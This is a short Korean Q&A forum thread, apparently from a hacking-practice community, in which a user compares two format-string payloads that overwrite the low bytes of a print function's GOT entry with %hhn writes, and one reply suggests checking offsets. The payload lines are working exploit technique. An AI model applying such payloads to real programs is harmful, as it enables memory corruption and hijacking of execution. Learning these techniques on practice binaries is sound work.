0

주소와 포맷스트링의 순서에 따라 결과가 다르게 나옵니다

  1. payload = b’%105c%7$hhn’ + b’%29c%8$hhnAAA’ + p32(print_got) + p32(print_got+1)

  2. payload = p32(print_got) + p32(print_got+1) + b’%97c%1$hhn’ + b’%29c%2$hhn’

(1번)포맷스트링 + 주소의 경우에는 seg fault가 발생하고
(2번)주소 + 포맷스트링의 경우에는 print_got의 하위 2바이트가 정상적으로 덮어씌워졌습니다. 왜 동일한 코드(제가 생각하기에는요)인데 결과가 다르게 나오는지 궁금합니다.

1 answers
0

저도 그렇게 보이긴 하는데요…
실제로 값을 seg fault가 발생할때 어셈블러코드와 값을 보면 답이 나오지 싶은데요…?
보통 오프셋 문제가 대부분인데 저대로라면 돼야할 것 같은데 말이죠 ㅎㅎ